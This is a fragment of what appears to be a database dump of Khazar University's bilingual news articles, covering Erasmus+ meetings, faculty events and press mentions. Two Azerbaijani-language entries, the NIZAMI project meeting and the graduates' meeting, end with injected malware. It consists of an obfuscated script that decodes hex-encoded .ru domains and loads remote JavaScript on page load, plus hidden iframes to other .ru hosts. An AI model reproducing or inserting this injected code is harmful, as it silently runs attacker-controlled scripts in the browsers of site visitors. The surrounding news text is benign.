incəsənət və istirahət kompleksləri istifadəyə verilmişdir</li><li>QS reytinq cədvəlində Şərqi Avropa və Mərkəzi Asiyanın ən yaxşı 70 universitetindən biridir</li></ul>'),(2880,1711,'az','Beynəlxalq əlaqələrimiz','Beynəlxalq əlaqələrimiz','<a href=\"/files/students/4.jpg\"><img src=\"/files/students/Capture4.JPG\" style=\"width:700px;height:496px;margin:7px;float:left\"> </a>'),(3066,1809,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(2881,1712,'az','Hansı ölkələrdən tələbələrimiz var','Hansı ölkələrdən tələbələrimiz var','<ul><li>ABŞ</li><li>İngiltərə</li><li>İtaliya</li><li>İspaniya</li><li>Almaniya</li><li>Hollandiya</li><li>Belçika</li><li>Rumıniya</li><li>Bolqarıstan</li><li>Polşa</li><li>Sloveniya</li><li>Estoniya</li><li>Rusiya</li><li>Ukrayna</li><li>Belarus</li><li>Gürcüstan</li><li>Türkiyə</li><li>İran</li><li>İraq</li><li>Qazaxıstan</li><li>Kamerun</li><li>İndoneziya</li><li>Pakistan</li><li>Hindistan</li></ul><p>ümumilikdə, 30-dan çox ölkə vətəndaşı  <br></p>'),(2882,1713,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\">Xəzər Universiteti (Neftçilər Kampusu)</p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\">Məhsəti küç. 41</p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\">AZ1O96,&nbsp;</p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\">Bakı, Azərbaycan&nbsp;</p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\">Tel: (+99 412) 421-68-11</p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\">323-93-13</p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\">421-79-27</p>  <p><a href=\"http://www.khazar.org\">http://www.khazar.org</a></p>  <!-- ELRTE_SCRIPT:script16583874736031268 -->'),(4348,2574,'en','Next consortium meeting within the Erasmus+ project','On October 25, 2017, the next consortium meeting within the framework of the Erasmus+ project \"Promoting Migration...','<p>On October 25, 2017, the next consortium meeting within the framework of the Erasmus+ project \"Promoting Migration Education at the University\" (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) started at Ivane Javakhishvili Tbilisi State University. The meeting was attended by Ulker Bayramova, project manager of Khazar University Development Center, the representatives from University of&nbsp;Alicante (Spain), University of Oldenburg (Germany), WUS Austria organisation (Austria), Tabesh University (Afghanistan) and Georgia university. The two-day meeting will focus on the preparations for the establishment of a Master\'s degree program in ‘Economics and Migration Education’ at Tabesh University and Quality Management of the project. Moreover, the issues faced by the project will be discussed and trainings will be held for the academic staff.</p>'),(2890,1717,'en','Meeting with Poet Ramiz Rovshan','On December 16, 2016 at 19:00, a meeting dedicated to the 70th birthday of poet Ramiz Rovshan will be held in the World...','<p>On\r\nDecember 16, 2016 at 19:00, a meeting dedicated to the 70th birthday of poet\r\nRamiz Rovshan will be held in the World Concert Hall on Khazar University’s\r\nDowntown Campus (122 Bashir Safaroghlu St). Everyone is welcome to attend.&nbsp;</p>'),(2896,1720,'az','“Əlçatan təhsil –əlçatan gələcək” layihəsi mediada ','Azpress.az xəbər saytı 2016-cı il dekabrın 9-u və 10-da Xəzər Universitetində “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><strong><em>Azpress.az</em></strong>\r\nxəbər saytı 2016-cı il dekabrın 9-u və 10-da Xəzər Universitetində “Əlilliyi\r\nolan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin\r\nqoyulması” layihəsi çərçivəsində yaranmış Əlilliyi olan Tələbələr üçün Mərkəzin\r\ntəşkilatı dəstəyi ilə keçirilmiş tədbir haqqında xəbər yaymışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=63787\">http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=63787</a>.</p>'),(5249,3043,'az','“Miqrasiyanın iqtisadi və sosial aspektləri: çağırışlar və miqrasiya siyasəti” mövzusunda seminar-təlim olacaq','2018-ci il martın 30-da Xəzər Universitetində Erasmus+ “Universitetdə...','<p>2018-ci il martın 30-da Xəzər Universitetində Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi” (PROMİG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində “Miqrasiyanın iqtisadi və sosial aspektləri: çağırışlar və miqrasiya siyasəti” mövzusunda İqtisadiyyat və menecment fakültəsi, Miqrasiya Araşdırmalar Mərkəzi və İnkişaf Mərkəzinin təşkilatçılığı ilə bir günlük seminar-təlim keçiriləcək. Seminarın təlimçiləri Alikante Universitetinin (İspaniya) əməkdaşları Dr.&nbsp;Oana Driha və Dr. Maria-Jemenez Delgadodur. Tədbirdə əsasən miqrasiya və iqtisadi inkişaf, miqrasiyanın sosial-mədəni aspektləri, miqrasiya və təhsil məsələlərinə toxunulacaq. Seminar-təlim, həmçinin, eyni adlı layihə haqqında məlumatın ölkəmizin ali təhsil müəssisələri arasında yayılması məqsədini daşıyır.</p><p>Maraqlananlar təlimdə iştirak etməyə dəvət olunurlar. Tədbirdə iştirak etmək istəyənlərin martın 19-na qədər e-mail vasitəsilə xəbər verməsi xahiş olunur.</p><p>Əlavə məlumat üçün Xəzər Universiteti İnkişaf Mərkəzinin əməkdaşı Ülkər Bayramova (<strong>E-mail:&nbsp;</strong><a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>. <strong>Telefon:</strong> (012) 421-10-93 (dax. 249)) ilə əlaqə saxlamaq olar.</p>'),(2897,1721,'az','“Xəzər”in professoruna mənzum məktub dərc olunub','“Ədəbiyyat qəzeti”nin 3 dekabr 2016-cı il tarixli nömrəsində şair, yazıçı, publisist, \"Kredo\" qəzetinin baş redaktoru Əli Rza Xələflinin görkəmli filosof-alim, əməkdar elm xadimi...','<p>“Ədəbiyyat qəzeti”nin 3 dekabr 2016-cı il tarixli\r\nnömrəsində şair, yazıçı, publisist, \"Kredo\" qəzetinin baş redaktoru Əli\r\nRza Xələflinin görkəmli filosof-alim, əməkdar elm xadimi, Xəzər Universitetinin\r\nprofessoru Camal Mustafayevə mənzum məktubu dərc edilmişdir.</p>\r\n<p>Mənzum məktubda alimin elmi nailiyyətlərindən və şəxsi\r\nfəzilətlərindən bəhs edilir.</p>'),(2898,1721,'en','Written Letter to Khazar Professor Published','On December 3, 2016, a letter by Ali Rza Khalafli, Kredo Newspaper’s editor-in-chief as well as poet and editorial writer, to well-known philosopher, Meritorious Scholar...','<p>On December 3, 2016, a letter by Ali Rza Khalafli,\r\nKredo Newspaper’s editor-in-chief as well as poet and editorial writer, to\r\nwell-known philosopher, Meritorious Scholar and Khazar University Professor\r\nJamal Mustafayev was published in Literature Newspaper. </p>\r\n<p>The letter is about the scholar’s academic\r\nachievements and personal virtues.&nbsp;</p>'),(2900,1722,'en','Meeting with ANAS Oil and Gas Institute','On December 14, 2016, a meeting was held between Khazar University and the Oil and Gas Institute of Azerbaijan National Academy of Sciences about partnership...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On December 14, 2016, a meeting was held\r\nbetween Khazar University and the Oil and Gas Institute of Azerbaijan National\r\nAcademy of Sciences about partnership. Participants in the meeting included Dr.\r\nEldar Shahgaldiyev, Head of the Division for Graduate Students and Research;\r\nPhD students of the Khazar University Department of Petroleum Engineering, Ali\r\nAtefi and Mesud Mehrizadeh; Professor Vagif Gulamov, Deputy Director of the\r\nANAS Oil and Gas Institute; Dr. Rauf Nadirov, and Rauf Mukimov, Head Engineer of\r\nthe Oil and Gas Institute. A discussion was held about future partnership\r\nopportunities.&nbsp;</p>'),(2901,1723,'az','Təsisçi Riyaziyyat departamentinin əməkdaşları ilə görüşdü','2016-cı il dekabrın 8-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə universitetin Riyaziyyat departamentinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il dekabrın 8-də Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı ilə universitetin Riyaziyyat departamentinin əməkdaşlarının\r\ngörüşü keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə Hamlet İsaxanlının departamentin\r\ninkişafı və gələcək fəaliyyəti istiqamətlərinə dair təklifləri dinlənildi və\r\nfikir mübadiləsi aparıldı.</p>'),(2902,1723,'en','Founder Meets with Faculty Members of Department of Mathematics','On December 8, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, held a meeting with faculty members...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nDecember 8, 2016, Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, held a meeting with\r\nfaculty members of the university’s Department of Mathematics. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">At\r\nthe meeting, Prof. Isaxanli listened to suggestions about the department’s\r\ndevelopment and future direction, and a discussion was held.&nbsp;</p>'),(2903,1724,'az','“Kaspi” Təhsil Şirkəti ilə görüş keçirildi','2016-cı il dekabır 15-də Xəzər Universitetinin Karyera İnkişaf Mərkəzi “Kaspi” Təhsil Şirkəti ilə görüş keçirdi. Görüşün məqsədi Xəzər Universitetinin Təhsil fakültəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il dekabır 15-də Xəzər Universitetinin Karyera İnkişaf Mərkəzi\r\n“Kaspi” Təhsil Şirkəti ilə görüş keçirdi. Görüşün məqsədi Xəzər Universitetinin\r\nTəhsil fakültəsinin tələbələrini təcrübə proqramı haqqında məlumatlandırmaq\r\nidi. Görüşdə “Kaspi” Təhsil Şirkətini İctimaiyyətlə əlaqələr üzrə mütəxəssis Afaq\r\nİbrahimova, İnsan resusları üzrə mütəxəssis Lalə Ələkbərova, İnsan resuslari\r\nüzrə mütəxəssis Həvayət Quliyeva təmsil edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Nümayəndələr şirkətin fəaliyyəti haqqında məlumat verdilər və Xəzər Universitetinin\r\ntələbələrini əməkdaşlığa dəvət etdilər.</p>   <!-- ELRTE_SCRIPT:script23718395260512537 -->'),(2905,1725,'en','NIZAMI Project Meeting in Germany for Azerbaijani and European Partners','On December 12-16, 2016, the 4 th meeting of the ERASMUS + NIZAMI project took place in Heidelberg, Germany with the participation of members of European...','<p>On December 12-16, 2016, the 4&nbsp;th&nbsp;meeting of the ERASMUS +\r\nNIZAMI project took place in Heidelberg, Germany with the participation of\r\nmembers of European and Azerbaijan partner higher education institutions as\r\nwell as Ministry of Education representatives of Azerbaijan Republic. Dr. Irada\r\nKhalilova, Head of the Biological Sciences Department, and Razia Isayeva,\r\nDevelopment Director of Khazar University, represented Khazar University in the\r\nmeeting. The meeting was held by Heidelberg University, a European partner in\r\nthe project.</p>\r\n<p>The meeting was opened Dr. Michael Winckler, administrative\r\ndirector of HGS MathComp, Heidelberg University, who is also local coordinator\r\nof four Erasmus Mundus action 2 programs. Then Prof. Dieter W. Heermann,\r\nVice-President International Affairs of Heidelberg University, delivered a\r\nwelcome speech. </p>\r\n<p>Prof. Veronique Montero, NIZAMI project coordinator,\r\nUniversity of Montpellier, welcomed all European and Azerbaijan partner\r\nuniversities. She presented the details of the meeting agenda, and introduced\r\nthe report of the previous meeting.</p>\r\n<p>Monika Sieberova from Masaryk University, Czech Republic,\r\npresented the high standards and thesis charter in doctoral education. In group\r\nsessions, representatives of the Ministry of Education of Azerbaijan,\r\nAzerbaijani partner universities and European partners discussed High Standards\r\nand Thesis charter in doctoral education.</p>\r\n<p>On the second day of meetings, Dr. Michael Winckler\r\npresented details of WP6, quality assurance, quality control and quality assessment\r\nof the project. Perspectives from Azerbaijan and Europe were compared, and case\r\nstudies were discussed. </p>\r\n<p>On the third day of meetings, Dr. Pierre Yves Collart&nbsp;\r\nDutilleul from Montpellier University represented details of the National\r\nPortal Management and talked about its perspectives in sustainable\r\ncommunication in doctoral education. In group sessions, all details of setting\r\nup a National Portal were discussed.&nbsp; All partners participated in the\r\ndiscussion. The meeting ended with positive prospects for the next meeting of\r\nthe NIZAMI project in Azerbaijan.</p>'),(2904,1724,'en','Meeting with Kaspi Educational Company ','On December 15, 2016, Khazar University Career Development Center held a meeting with the Kaspi Educational Company. The objective of the meeting was to inform...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On December 15, 2016, Khazar University\r\nCareer Development Center held a meeting with the Kaspi Educational Company.\r\nThe objective of the meeting was to inform students of the School of Education\r\nabout internship programs. Participants in the meeting included Afag\r\nIbrahimova, Public Relations Specialist for Kaspi; Lala Akbarova, Human\r\nResources Specialists; and Havayat Guliyeva, Human Resources Specialist. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The representatives informed students\r\nabout the activities of the center and invited Khazar University students to\r\nwork with them.&nbsp;</p>'),(2907,1725,'az','Almaniyada NİZAMİ layihəsinin iclası oldu','2016-cı il dekabrın 12-dən 16-dək Avropa və Azərbaycan ali təhsil müəssisələrinin tərəfdaş üzvlərinin, eləcə də, Azərbaycan Respublikası Təhsil Nazirliyi nümayəndəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2016-cı il dekabrın 12-dən 16-dək Avropa və\r\nAzərbaycan ali təhsil müəssisələrinin tərəfdaş üzvlərinin, eləcə də, Azərbaycan\r\nRespublikası Təhsil Nazirliyi nümayəndəsinin iştirakı ilə ERASMUS+ NİZAMİ layihəsinin 4-cü iclası Almaniyanın Heidelberq Universitetində keçirildi. İclasda Xəzər\r\nUniversitetini Təhsil fakültəsi Bioloji elmlər departamentinin müdiri Dr. İradə\r\nXəlilova və İnkişaf direktoru Raziyə İsayeva təmsil edirdilər.</p>  <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2908,1726,'en','Founder Shares Views on Rectors’ Council','On December 14, 2016, an article entitled “What Will the Rectors’ Council Contribute to Education?” was published on the Hafta.az news site. The article quotes...','<p>On December 14, 2016, an article entitled “What Will the Rectors’ Council Contribute to Education?” was published on the Hafta.az news site. The article quotes Minister of Education Mikayil Jabbarov saying that a Rectors’ Council will be established in Azerbaijan in the near future. The author of the article learned various educational experts’ views on this topic.&nbsp;</p><p>Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, is among those quoted in the article.&nbsp;</p><p>The article is available at the following link:&nbsp;</p><p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=191557\">http://hafta.az/index2.php?m=yazi&amp;id=191557</a>&nbsp;</p>'),(2911,1731,'az','Foto qalereya','Foto qalereya',''),(2906,1726,'az','Təsisçi Rektorlar Şurasına münasibətini bildirdi','2016-cı il dekabrın 14-də Hafta.az xəbər saytında “Rektorlar Şurası təhsilə nə verəcək?” başlıqlı məqalə dərc edilmişdir. Məqalədə Təhsil naziri Mikayıl...','<p>2016-cı il dekabrın 14-də Hafta.az xəbər saytında “Rektorlar Şurası təhsilə nə verəcək?” başlıqlı məqalə dərc edilmişdir. Məqalədə Təhsil naziri Mikayıl Cabbarovun sözlərinə istinadən yaxın vaxtlarda Azərbaycanda Rektorlar Şurası yaradılacağı qeyd olunur. Məqalə müəllifi bununla bağlı təhsil ekspertlərinin fikirlərini öyrənmişdir.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı da mövzu ilə bağlı fikirlərini bildirmişdir.</p><p>Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=191557\">http://hafta.az/index2.php?m=yazi&amp;id=191557</a></p>'),(2909,1727,'az','Təhsil fakültəsinin məzunları ilə görüş keçirildi','2016-ci il dekabrın 16-da konfrans zalında (otaq 102N) Xəzər Universitetinin Təhsil fakültəsini 2016-cı ildə bitirmiş bakalavr məzunları ilə universitet rəhbərliyinin görüşü...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2016-ci il dekabrın 16-da konfrans zalında (otaq 102N) Xəzər\r\nUniversitetinin Təhsil fakültəsini 2016-cı ildə bitirmiş bakalavr məzunları ilə\r\nuniversitet rəhbərliyinin görüşü keçirildi. Görüşdə Xəzər Universitetinin İdarəetmə\r\nvə tələbə işləri üzrə prorektoru İsaxan İsaxanlı, Təhsil fakültəsinin dekanı\r\nElza Səmədova və Məzunlarla İş Mərkəzinin direktoru Baba Bayramlı iştirak edirdilər.\r\nGörüşün keçirilməsinin məqsədi universitetin məzunları ilə əlaqə saxlamaq və\r\nonların gələcək planlarını müzakirə etmək idi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Tədbirin sonunda məzunlar universitetlə bağlı\r\nfikirlərini və təəssüratlarını bildirdilər.</p>   <!-- ELRTE_SCRIPT:script9623549627537133 --><script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2910,1728,'az','Ramiz Rövşənlə görüş keçirildi','2016-cı il dekabrın 16-də Xəzər Universitetinin “Dünya” konsert zalında şair Ramiz Rövşənlə görüş keçirildi. Görüş şairin 70 illik yubileyinə həsr olunmuşdu. Tədbiri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı\r\nil dekabrın 16-də Xəzər Universitetinin “Dünya” konsert zalında şair Ramiz Rövşənlə\r\ngörüş keçirildi. Görüş şairin 70 illik yubileyinə həsr olunmuşdu. Tədbiri Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı açdı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Daha\r\nsonra səhnəyə şair Ramiz Rövşən dəvət olundu. Tədbirdə şair şeirlərindən bir\r\nneçəsini söylədi, daha sonra onun şeirlərinə bəstələnmiş mahnılar oxundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirdə\r\n“Dünya” məktəbinin təsisçisi Nailə İsaxanlı, Xəzər Universitetinin İctimai əlaqələr\r\nvə media üzrə direktoru Əlövsət Əmirbəyli, Ramiz Rövşənin qohumları və dostları\r\nda iştirak edirdilər.</p>'),(4072,2378,'az','Professor Hamlet İsaxanlı Xeber365 saytının sorğusunu cavablandırıb','2017-ci il avqustun 24-də Xeber365 saytı Dövlət İmtahan Mərkəzi Direktorlar Şurasının sədri Məleykə Abbaszadənin söylədiyinə görə iki il sonra buraxılış və qəbul...','<p>2017-ci il avqustun 24-də Xeber365 saytı Dövlət İmtahan Mərkəzi Direktorlar Şurasının sədri Məleykə Abbaszadənin söylədiyinə görə iki il sonra buraxılış və qəbul imtahanlarında yeni modelin tətbiq ediləcəyi ilə bağlı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya sorğu ilə müraciət edib. Professor bildirib ki, onun nəzərincə, test üsulu tamamilə ləğv edilə bilməz, yeni modeldə test metodlardan biri ola bilər, yəni digər üsullar da tətbiq edilə bilər.</p><p>Tam mətni aşağıdakı link vasitəsilə oxumaq olar:</p><p><a href=\"http://xeber365.com/haber-hamlet-isaxanli-test-usulu-l-gv-oluna-bilm-z-11369.html#Kalibri\" target=\"_blank\">http://xeber365.com/haber-hamlet-isaxanli-test-usulu-l-gv-oluna-bilm-z-11369.html#Kalibri</a></p>'),(4073,2379,'az','Professor Hamlet İsaxanlı Sherg.az saytının sorğusunu cavablandırıb','2017-ci il avqustun 24-də Sherg.az saytı Dövlət İmtahan Mərkəzi Direktorlar Şurasının sədri Məleykə Abbaszadənin söylədiyinə görə iki il sonra buraxılış və qəbul...','<p>2017-ci il avqustun 24-də Sherg.az saytı Dövlət İmtahan Mərkəzi Direktorlar Şurasının sədri Məleykə Abbaszadənin söylədiyinə görə iki il sonra buraxılış və qəbul imtahanlarında yeni modelin tətbiq ediləcəyi ilə bağlı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya sorğu ilə müraciət edib. Professor bildirib ki, onun nəzərincə, test üsulu tamamilə ləğv edilə bilməz, yeni modeldə əlavə olaraq yeni üsullardan istifadə oluna bilər.</p><p>Tam mətni aşağıdakı link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.sherg.az/site/id-35701/Testin_l%C9%99%C4%9Fvind%C9%99n_sonra_q%C9%99bul_prosesi_nec%C9%99_apar%C4%B1lacaq_?_-_Professor_#Kalibri\" target=\"_blank\">http://www.sherg.az/site/id-35701/Testin_l%C9%99%C4%9Fvind%C9%99n_sonra_q%C9%99bul_prosesi_nec%C9%99_apar%C4%B1lacaq_?_-_Professor_#Kalibri</a></p>'),(4074,2377,'en','Congratulations of Professor Hamlet Isakhanli on the occasion of ‘Garabagh’ football club to qualify for UEFA Champions League group stage','On August 25, 2017, Professor Hamlet Isakhanli, the founder of Khazar University, chairman of its Board of Directors and Trustees, sent congratulation letters to Rovnag Abdullayev...','<p>On August 25, 2017, Professor Hamlet Isakhanli, the founder of Khazar University, chairman of its Board of Directors and Trustees, sent congratulation letters to Rovnag Abdullayev, the President of AFFA, Elkhan Mammadov, the General Secretary of AFFA, Tahir Gozal, the president of ‘Garabagh’ Football Club, on the occasion of ‘Garabagh’ football club to have qualified for UEFA Champions League group stage.</p><p>In his letters, Professor Hamlet Isakhanli congratulated ‘Garabagh’ football club as the first Azerbaijani team qualifying for UEFA Champions League group stage, wished them new achievements and invited the team to Khazar University at a suitable time.</p>'),(4075,2378,'en','Professor Hamlet Isakhanli’s response to the question of Xeber365 website','On 24 August, 2017, Xeber365 put a question to Professor Hamlet Isakhanli, the founder of Khazar University, chairman of its Board of Directors and Trustees, regarding','<p>On 24 August, 2017, Xeber365 put a question to Professor Hamlet Isakhanli, the founder of Khazar University, chairman of its Board of Directors and Trustees, regarding the opinion ‘A new model will be applied in graduation and admission exams in two years’ produced by Maleyka Abbaszadeh, Head of the State Examination Center Board of Directors.</p><p>The professor said, in his opinion, the test method cannot be totally removed, it can be one of the test methods in the new model, i.e. other methods can be applied.</p><p>The full text can be read through the link below:</p><p><a href=\"http://xeber365.com/haber-hamlet-isaxanli-test-usulu-l-gv-oluna-bilm-z-11369.html#Kalibri\" target=\"_blank\">http://xeber365.com/haber-hamlet-isaxanli-test-usulu-l-gv-oluna-bilm-z-11369.html#Kalibri</a>  <br></p>'),(4076,2380,'az',' Euras.Express xəbər bülletenində “Xəzər”in əməkdaşının ABŞ-da növbəti məqaləsinin çap olunması haqqında xəbər dərc olunub','Euras.Express xəbər bülleteni 26 avqust 2017-ci il tarixli sayında Xəzər Universitetinin Humanitar və sosial elmlər (HSE) fakültəsinin dekan köməkçisi, universitetin...','<p><strong><em>Euras.Express</em></strong> xəbər bülleteni 26 avqust 2017-ci il tarixli sayında Xəzər Universitetinin Humanitar və sosial elmlər (HSE) fakültəsinin dekan köməkçisi, universitetin doktorantı Validə Kərimovanın “Multilingualism in Azerbaijan: the most preferred foreign languages in private universities of the country and its Socioeconomic aspects” adlı növbəti elmi məqaləsinin ABŞ-da “Science Publishing Group” nəşriyyat evinin “American Journal of Education and Technologies” adlı elmi jurnalının 2017-ci il iyul nömrəsində çap edilməsi haqqında Xəzər Universitetinin vebsaytında avqustun 15-də yerləşdirilmiş xəbəri dərc etmişdir:</p><p><a href=\"http://www.khazar.org/en/news/article/2370\" target=\"_blank\">http://www.khazar.org/en/news/article/2370</a>.</p>'),(6328,3598,'en','Head of Science Division of the Ministry of Education visits Khazar University','On October 31, 2018, Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman...','<p>On October 31, 2018, Prof. Hamlet 